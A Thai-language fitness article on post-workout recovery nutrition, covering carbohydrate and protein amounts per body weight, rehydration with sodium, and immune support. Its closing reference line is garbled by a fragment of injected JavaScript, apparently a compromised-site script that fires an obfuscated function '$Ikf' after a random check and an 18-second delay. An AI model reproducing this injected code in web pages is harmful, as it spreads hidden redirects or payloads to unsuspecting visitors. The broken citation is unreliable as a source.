กินเพื่อฟื้นฟู (Eat to recovery)

กินเพื่อฟื้นฟู (Eat to recovery)

สิ่งที่สำคัญนอกจากการกินอาหารเช้าก็คือการรับประทานอาหารหลังจากการอออกำลังกาย หรือ post-workout meal ทั้งนี้เพื่อให้ร่างกายได้มีการสะสมแหล่งพลังงานใหม่และซ่อมแซมร่างกาย ให้อยู่ในสภาวะพร้อมที่สุดสำหรับการออกกำลังกายในครั้งต่อๆ ไป

ข้อควรรู้…ในภาษาอังกฤษ คำว่า Recovery หมายถึง “the act of regaining or returning toward a normal or healthy state.” หรือการกระทำ พฤติกรรมการฟื้นฟูให้กลับคืนสุ่สภาวะปกติ หรือการทำให้ร่างกายกลับมามีสุขภาพดีเหมือนเดิม ทั้งนี้ในการ Recovery สารอาหารที่รับเข้าไปนั้นมีผลต่อการ Recovery และ performance ของเรามาก

วัตถุประสงค์ในการ Recovery นั้นครอบคลุมถึง

1. การเติมเต็ม (Replenishing) สาร Glycogen กลับไปใหม่ทั้งในกล้ามเนื้อและตับ
2. การรับประทานโปรตีนเพื่อช่วยซ่อมแซมกล้ามเนื้อ
3. การเติมสารอิเล็กโตรไลด์และของเหลว (น้ำ) กลับไปใหม่หลังจากสูญเสียออกทางเหงื่อ
4. รักษาภูมิคุ้มกันให้อยู่ในระดับที่ทำงานได้ดี

ร่างกายของเราจะอยู่ในสภาวะพร้อมที่จะย่อยและรับสารอาหารได้ดีหลังจากจบการออกกำลังกายไปแล้ว 30 นาที ฉะนั้นช่วงเวลา 30 นาทีนี้จึงถือว่าเป็น Prime time ของร่างกายที่ควรจะรับสารอาหารเพื่อฟื้นฟูร่างกายและเสริมสร้างกล้ามเนื้อได้ดี และเมื่อร่างกายเข้าสู่สภาวะ cool down เรียบร้อบแล้ว ประมาณ 1-2 ชั่วโมงถัดมาก็เหมาะแก่การรับประทานอาหารเช่นกัน

การเติมเต็ม (Replenishing) สาร Glycogen กลับไปใหม่

แนะนำให้รับประทานคาร์โบไฮเดรตประมาณ 1.2g ต่อ น้ำหนักร่างกาย 1 kg หลังจากออกกำลังกาย แต่สำหรับบางคนการรับอาหารเข้าไปที่ละมากๆ ก็ไม่สะดวก ดังนั้นจึงมีอีกวิธีหนึ่งคือ รับโปรตีน 0.2-0.4g/kg และคาร์โบอีกประมาณ 0.8g/kg ก็จะให้ผลที่คล้ายๆ กัน

การเสริมสร้างและฟื้นฟูกล้ามเนื้อ

การออกกำลังกายที่หนักและยาวนานอย่างกีฬาประเภท Endurance จะทำให้โปรตีนกล้ามเนื้อถูกย่อยสลายนำใช้เยอะ นี้ทำให้การรับสารอาหารเพื่อนำไปใช้การฟื้นฟูกล้ามเนื้อเป็นเรื่องสำคัญยิ่ง เพราะเมื่อหลังจบการออกกำลังกายกระบวนการ แคแทบอลิซึม (catabolism) ลดลงและการทำงานของแอแนบอลิซึม (anabolism) จะพิ่มขึ้นตลอด 24 ชัวโมง การรับกรดอะมิโนแอซิค (Amio acid) จากโปรตีนคุณภาพที่ดีจะทำให้กล้ามเนื้อเราฟื้นฟูได้เร็วขึ้น โดยแนะนำให้บริโภค 20-30 g โปรตีนหลังจบการออกกำลังกายไป 1 ชั่วโมงแรกจะได้ผลดีที่สุด

การรักษาระดับน้ำของเหลวในร่างกาย

นักกีฬาส่วนมากจะสูญเสียน้ำไปมากหลังการออกกำลังกาย เราจะอยู่ในสภาวะ fluid deficit (ขาดน้ำ) และเพื่อรักษาสมดุลน้ำ ในช่วงเวลา 4-6 ชั่วโมงหลังจบการออกกำลังกายเราควรรับน้ำเข้าไปถึง 125-150% ของน้ำที่สูญเสียไประหว่างออกกำลังกาย

ร่างกายไม่ได้ขาดเฉพาะน้ำเท่านั้นแต่รวมถึงเกลือแร่ อิโลกโตรไลด์ที่ไปกับเหงื่อ เพราะสารเหล่านี้จะช่วยในการดูดซับน้ำในร่างกาย เราจึงควรเพิ่มสารเกลื่อแร่อย่างโซเดียมเข้าไป 50-80 mmol (millimoles per litre) เพื่อให้การ rehydrate ได้ผลเต็มที่ ถ้าพูดกันง่ายๆ ใครที่ออกกำลังกายเกิน 60 นาทีก็ควรรับเครื่องดื่มที่มีเกลือแร่เข้าไป ไม่ใช้รับแต่น้ำอย่างเดียว การ recovery จะให้ผลดีขึ้นลดอาการเหนื่อยล้าลงได้เยอะ

รักษาการทำงานงานระบบคุ้มกัน

การออกกำลังกายอย่างหนักย่อมส่งผลต่อระบบภูมิคุ้มกัน ไม่เฉพาะการสะสมความเมื่อยล้าเท่านั้นแต่มีการสะสมความเครียดให้ร่างกายด้วย วิธีฟื้นฟูที่ง่ายที่สุดและรักษาระบบภูมิคุ้มกันนอกจากการรับประทานอาหารแล้วคือการนอนหลับพักผ่อนให้เพียงพอ ส่วนการรับสารอาหารอื่นๆ อย่าง วิตามิน C และ E ธาตุอาหาร Zine, Glutamine และเหล่าโปรไบโอติก ก็สามารถช่วยได้เช่นกัน

อ้าวอิง andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-what-to-eat-post-workout”>breakingmuscle.com